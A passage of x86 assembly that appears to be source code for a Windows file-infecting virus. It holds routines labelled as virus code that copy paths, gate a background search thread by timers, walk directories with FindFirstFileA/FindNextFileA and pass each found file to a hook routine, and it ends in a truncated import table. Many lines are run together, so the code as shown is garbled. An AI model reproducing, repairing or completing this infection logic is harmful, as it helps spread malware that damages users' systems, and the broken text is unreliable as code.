TrySearchFile_end:;Param: esi->source buffer,edi->dest buffer
;Return: esi,edi->buffer end,ecx->afte the last '/' or the buffer head
VirExtractPath:
cld
mov ecx,edi
VirExtractPathLoop:
lodsb
stosb
cmp al,'/'
jnz short VirExtractPathNotBackSlash
mov ecx,edi
VirExtractPathNotBackSlash:
or al,al
jnz short VirExtractPathLoopretn
VirExtractPath_end:;Return: ZF=0,can't begin search,ZF=1,can begin search
CanSearch:
pushad
call CanSearchIP
CanSearchIP:
pop esixor edx,edx
mov dl,0
SearchSign equ $-1
or dl,dl
jnz short CanSearchRetcall [esi+addrGetTickCount-CanSearchIP]
xor edx,edxsub eax,12345678h
CanSearchTick equ $-4
cmp eax,3*1000 ;3 sec
ja short CanSearchRet
inc edx
CanSearchRet:
or edx,edx
popad
retn
CanSearch_end:;Thread to search a specified path
SearchThread:
call SearchThreadIP
SearchThreadIP:
pop ebpsub esp,1000
SearchThreadDeadLoop:
mov byte ptr [ebp+SearchSign-SearchThreadIP],0push large -1
push large 12345678h
VirEventHandle equ $-4
call [ebp+addrWaitForSingleObject-SearchThreadIP]mov byte ptr [ebp+SearchSign-SearchThreadIP],1
call [ebp+addrGetTickCount-SearchThreadIP]
mov [ebp+SearchThreadTick-SearchThreadIP],eaxlea esi,[ebp+PathBuf-SearchThreadIP]
mov edi,esp
push edi
push esi
call [ebp+addrFindFirstFileA-SearchThreadIP]
inc eax
jz short SearchThreadDeadLoop
dec eaxpush eax ;Handle
SearchThreadFindLoop:
pushad
add edi,4*11 ;edi->cFileNamecall HookFindHelp
popadcall [ebp+addrGetTickCount-SearchThreadIP]
sub eax,12345678h
SearchThreadTick equ $-4
cmp eax,1500 ;continue run for 1500 millionsecond
ja short SearchThreadClosepop eax
push eaxpush edi
push eax
call [ebp+addrFindNextFileA-SearchThreadIP]
or eax,eax
jnz short SearchThreadFindLoopSearchThreadClose:
call [ebp+addrFindClose-SearchThreadIP]call [ebp+addrGetTickCount-SearchThreadIP]
mov [ebp+CanSearchTick-SearchThreadIP],eaxjmp short SearchThreadDeadLoop
SearchThread_end:VirImportTable:
db 'KERNEL32.dll'
db 0,0,'LoadLibraryA'
db 0,0,'GetProcAddres